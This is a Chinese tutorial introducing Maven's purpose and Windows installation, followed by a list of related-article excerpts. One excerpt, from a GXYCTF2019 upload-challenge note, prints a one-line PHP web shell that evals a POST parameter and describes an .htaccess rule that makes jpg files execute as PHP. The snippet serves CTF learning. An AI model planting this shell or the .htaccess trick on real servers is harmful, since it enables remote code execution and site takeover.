maven介绍与安装
一. maven概述
1. 关于项目依赖的jar包管理
问题描述:
直接在每个项目的lib文件夹中复制jar包会导致多个问题,包括jar包的重复存放、版本冲突以及手动管理带来的不便和错误。
问题分析:
- 重复存放:每个项目都保存一份相同的jar包,不仅占用额外空间,也增加了维护的复杂度。
- 版本冲突:当不同项目依赖相同jar包但版本不同时,可能会引发冲突,尤其是在共享组件或接口时。
- 手动管理:手动复制jar包容易出错,如遗漏、版本错误等,增加了开发和部署的复杂度。
解决方案:
- 使用Maven(或Gradle等构建工具)来管理依赖。Maven可以通过
pom.xml文件定义项目依赖,自动从中央仓库或私有仓库下载所需jar包,解决了重复存放和手动管理的问题。同时,Maven支持版本管理和依赖传递,有效避免了版本冲突。 - 创建一个内部仓库(如Nexus或Artifactory),用于存放私有或第三方无法直接访问的jar包,便于团队内部共享和版本控制。
2. 关于数据库通用类的维护和分发
问题描述:
通过邮件手动分发修正后的jar包给各个项目组,不仅效率低下,还容易出错,如忘记通知某些项目组、版本更新不同步等。
问题分析:
- 效率低下:每次修改后都需要手动分发,增加了维护成本。
- 版本不同步:不同项目组可能使用不同版本的jar包,导致功能不一致或bug复现。
- 容易遗漏:在多个项目组之间分发时,可能会遗漏某些组,导致问题持续存在。
解决方案:
- 使用Maven管理通用类库。将通用类库发布为一个Maven项目,并上传到内部仓库。各个项目组只需在
pom.xml中添加依赖,Maven就会自动从仓库中获取最新版本的jar包。 - 当通用类库有更新时,只需在内部仓库中更新最新版本,所有依赖该库的项目在下次构建时都会自动获取最新版本,无需手动干预。
- 利用Maven的SNAPSHOT版本特性,可以在开发过程中频繁更新库文件,供其他项目组测试和使用最新功能或修复。
重写优化后的内容:
- 依赖管理:采用Maven等构建工具来管理项目的jar包依赖,通过
pom.xml文件定义项目所需的所有jar包,Maven会自动从配置的仓库中下载并管理这些依赖,避免了手动复制和版本冲突的问题。 - 库文件分发:将数据库通用类库发布为一个Maven项目,并上传至内部仓库。其他项目组通过Maven依赖管理,自动获取和使用最新版本的库文件。这样,当库文件有更新时,只需在内部仓库中更新版本,即可实现所有项目的同步更新,大大提高了开发效率和维护的便捷性。
3 Maven详解
3.1 Maven定义
Maven是一个强大的项目管理与构建自动化工具。它基于项目对象模型(Project Object Model, POM),通过定义一套标准化的项目结构、构建生命周期以及依赖管理系统,极大地简化了项目的构建、依赖管理和发布过程。Maven不仅限于Java项目,但它对Java生态系统的支持尤为出色。通过使用Maven,开发者可以专注于业务逻辑的实现,而无需过多关注项目的构建和依赖管理细节。
3.2 Maven的作用
- 项目构建管理:
Maven为项目定义了一套标准的构建生命周期,包括编译、测试、打包、部署、运行等阶段。这些阶段为项目从源代码到可运行产品的转换过程提供了清晰的框架。开发人员和测试人员可以遵循这一标准流程,确保项目构建的一致性和可重复性。 - 依赖管理:
Maven的依赖管理系统能够自动解析项目所需的外部库(jar包),并从配置的仓库(如Maven中央仓库、私有仓库等)中下载这些依赖。它还能处理依赖之间的传递性,即如果一个库依赖于另一个库,Maven会自动下载并管理这些传递性依赖,避免了版本冲突和手动管理依赖的繁琐。 - 插件管理:
Maven通过插件机制扩展其功能。插件是Maven的核心,它们定义了Maven生命周期中的具体任务。Maven提供了大量的内置插件,用于执行编译、测试、打包等常见任务。此外,开发者还可以根据需要自定义插件或使用第三方插件,以满足特定的项目需求。Maven的插件管理机制使得这些插件的集成和使用变得非常简单和高效。
maven的下载与安装
1. 下载
官方网站:http://maven.apache.org/
下载页面:http://maven.apache.org/download.cgi
直接下载 , 下载过后解压压缩包

2.配置环境变量
打开系统环境变量

点击新建系统变量

设置变量名为MAVEN_HOME
变量值为maven下载位置

找到path , 新建%MAVEN_HOME%\bin

点击确定即可
相关文章:
maven介绍与安装
一. maven概述 1. 关于项目依赖的jar包管理 问题描述: 直接在每个项目的lib文件夹中复制jar包会导致多个问题,包括jar包的重复存放、版本冲突以及手动管理带来的不便和错误。 问题分析: 重复存放:每个项目都保存一份相同的jar…...
瑞友科技项目经理认证负责人杨文娟受邀为第四届中国项目经理大会演讲嘉宾︱PMO评论
全国项目经理专业人士年度盛会 北京瑞友科技股份有限公司项目经理认证负责人杨文娟女士受邀为PMO评论主办的全国项目经理专业人士年度盛会——2024第四届中国项目经理大会演讲嘉宾,演讲议题为“瑞友科技项目经理人才培养体系落地实践”。大会将于10月26-27日在北京举…...
Ubuntu基础使用
Ubuntu是一种流行的Linux操作系统。它提供了一个友好的图形界面和许多强大的功能,适用于个人电脑和服务器。一般来说使用Ubuntu都是在虚拟机上运行的。 一、虚拟机的安装 VMware是一家专门提供虚拟化解决方案的公司,而VMware Workstation是该公司开发的…...
知识图谱结构的提示
文章介绍了一种名为“知识图谱结构作为提示”(KG Structure as Prompt)的新方法,该方法旨在增强小型语言模型(SLMs)在知识驱动的因果发现任务中的能力。通过将知识图谱中的结构信息融入到基于提示的学习中,…...
(计算机网络)网络层
目录 一.网络层提供哪种服务 二.两种服务的比较 三.ip协议 四.ip地址 五.ip地址的分类 六.子网掩码 七.路由器介绍 一.网络层提供哪种服务 1.ip地址--唯一的标识互联网上的某一台主机 2. 虚电路:虚拟的电路 二.两种服务的比较 ip数据报,不需要建…...
[upload]-[GXYCTF2019]BabyUpload1-笔记
尝试上传.htaccess和图片和一句话木马提示 php文件提示 响应头可以看到 构造一句话图片木马如下: <script languagephp>eval($_POST[cmd]);</script> 上传成功 必须增加文件夹下jpg后缀解析php .htaccess如下 <FilesMatch "jpg">Set…...
2023卫星视频综述论文Recent Advances in Intelligent Processing of Satellite Video
2023卫星视频综述论文Recent Advances in Intelligent Processing of Satellite Video 1.摘要2.引言3. 文章的定量分析4 难点与挑战5 方法论系统A. 卫星视频观察的特点B. 卫星视频目标跟踪与运动估计C. 卫星视频目标检测D. 卫星视频超分辨率 (VSR)E. 卫星视频目标分割ÿ…...
Mysql的Binlog的数据样例
Binlog(Binary Log)是 MySQL 中的二进制日志,记录了所有更改数据库的操作,包括数据的插入、更新和删除,它是主从复制、数据恢复和审计的重要来源。 以下是一些常见的 Binlog 数据样本和它们的结构: 1. 基…...
基于VS2022+Qt5+C++的串口助手开发
目录 一、前言 二、环境准备 三、创建QT串口项目 编辑 四、串口项目实现 1.ui界面设计 2.添加QT串口模块 3.功能实现 ①串口扫描 ②波特率、停止位等设置 ③接收数据 ④发送数据 五、最终效果 六、总结 一、前言 如果有人之前看过我文章的话应该知道…...
Mysql之视图
视图 创建语法:create [or replace] view 视图名称 as select * from where [with check option] 查询:show create view 视图名称 查看视图数据:select * from 视图名称 修改: 1,可以使用创建的语法更新…...
【开端】Java 分页工具类运用
一、绪论 Java系统中,分页查询的场景随处可见,本节介com.baomidou.mybatisplus.core.metadata.IPage;来分页的工具类 二、分页工具类 public class PageUtils implements Serializable { private static final long serialVersionUID 1L; /**…...
leetcode每日一题48
143.环形链表ii 快慢指针 至于入环点的计算 设链表中环外部分的长度为 a。slow 指针进入环后,又走了 b 的距离与 fast 相遇。此时,fast 指针已经走完了环的 n 圈,因此它走过的总距离为 an(bc)ba(n1)bnc。 任意时刻,fast 指针走过…...
源码工具文档手册
手册文档工具 TinaSDK开发文档:https://tina.100ask.net/ 开发板使用文档:https://allwinner-docs.100ask.net/ 教程示例 一板懂百板通:https://www.bilibili.com/video/BV1Nx4y1w7AF/?spm_id_from333.999.0.0 T113 LVGLUI开发࿱…...
hive之greatest和least函数
1、greatest函数: greatest(col_a, col_b, ..., col_n)比较n个column的大小,过滤掉null或对null值进行处理,当某个column中是string,而其他是int/double/float等时,返回null; 举例: select g…...
C:数组传参的本质
1、一维数组传参的本质 数组传参是指在函数调用时将数组作为参数传递给函数。 int main() {int arr[10] { 1,2,3,4,5,6,7,8,9,10 };test(arr);return 0;}数组传参只需要写数组名就可以了。注意:数组名是arr,而不是arr[10] 数组传参形参该怎么写呢&am…...
excel 2019版本的index match搜索功能
{TEXTJOIN("", TRUE, IF((sheet2!A:A"文字")*(sheet2!C:CC5), sheet2!G:G, ""))} excel单元格输入公式后: TEXTJOIN("", TRUE, IF((sheet2!A:A"文字")*(sheet2!C:CC5), sheet2!G:G, "")) 按CtrlShi…...
【问题解决】apache.poi 3.1.4版本升级到 5.2.3,导出文件报错版本无法解析
【问题解决】apache.poi 3.1.4版本升级到 5.2.3,导出文件报错无法解析 3.1.4版本代码: /*** 创建workbook* param inp* return* throws Exception*/public Workbook createworkbook(InputStream inp) throws Exception {if (!inp.markSupported()) {inp…...
(亲测有效)SpringBoot项目集成腾讯云COS对象存储(2)
接上文(亲测有效)SpringBoot项目集成腾讯云COS对象存储(1)-CSDN博客 目录 3、通用能力类 文件下载 测试 3、通用能力类 文件下载 官方文档介绍了2种文件下载方式。一种是直接下载 COS 的文件到后端服务器(适合服务…...
界面优化 - QSS
目录 1、背景介绍 2、基本语法 3、QSS 设置方式 3.1 指定控件样式设置 代码示例: 子元素受到影响 3.2 全局样式设置 代码示例: 使用全局样式 代码示例: 样式的层叠特性 代码示例: 样式的优先级 3.3 从文件加载样式表 代码示例: 从文件加载全局样式 3.4 使用 Qt Desi…...
实现基于TCP协议的服务器与客户机间简单通信
服务器端程序 #include <myhead.h> #define SER_PORT 6666 //服务器端口号 #define SER_IP "192.168.2.53" //服务器ip地址 int main(int argc, char const *argv[]) { /*创建套接字 int socket(int domain, int type, int protocol);*/ …...
利用最小二乘法找圆心和半径
#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …...
使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式
一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明:假设每台服务器已…...
微信小程序之bind和catch
这两个呢,都是绑定事件用的,具体使用有些小区别。 官方文档: 事件冒泡处理不同 bind:绑定的事件会向上冒泡,即触发当前组件的事件后,还会继续触发父组件的相同事件。例如,有一个子视图绑定了b…...
centos 7 部署awstats 网站访问检测
一、基础环境准备(两种安装方式都要做) bash # 安装必要依赖 yum install -y httpd perl mod_perl perl-Time-HiRes perl-DateTime systemctl enable httpd # 设置 Apache 开机自启 systemctl start httpd # 启动 Apache二、安装 AWStats࿰…...
Qt Widget类解析与代码注释
#include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {ui->setupUi(this); }Widget::~Widget() {delete ui; }//解释这串代码,写上注释 当然可以!这段代码是 Qt …...
学校招生小程序源码介绍
基于ThinkPHPFastAdminUniApp开发的学校招生小程序源码,专为学校招生场景量身打造,功能实用且操作便捷。 从技术架构来看,ThinkPHP提供稳定可靠的后台服务,FastAdmin加速开发流程,UniApp则保障小程序在多端有良好的兼…...
1.3 VSCode安装与环境配置
进入网址Visual Studio Code - Code Editing. Redefined下载.deb文件,然后打开终端,进入下载文件夹,键入命令 sudo dpkg -i code_1.100.3-1748872405_amd64.deb 在终端键入命令code即启动vscode 需要安装插件列表 1.Chinese简化 2.ros …...
linux 下常用变更-8
1、删除普通用户 查询用户初始UID和GIDls -l /home/ ###家目录中查看UID cat /etc/group ###此文件查看GID删除用户1.编辑文件 /etc/passwd 找到对应的行,YW343:x:0:0::/home/YW343:/bin/bash 2.将标红的位置修改为用户对应初始UID和GID: YW3…...
聊一聊接口测试的意义有哪些?
目录 一、隔离性 & 早期测试 二、保障系统集成质量 三、验证业务逻辑的核心层 四、提升测试效率与覆盖度 五、系统稳定性的守护者 六、驱动团队协作与契约管理 七、性能与扩展性的前置评估 八、持续交付的核心支撑 接口测试的意义可以从四个维度展开,首…...
Map相关知识
数据结构 二叉树 二叉树,顾名思义,每个节点最多有两个“叉”,也就是两个子节点,分别是左子 节点和右子节点。不过,二叉树并不要求每个节点都有两个子节点,有的节点只 有左子节点,有的节点只有…...
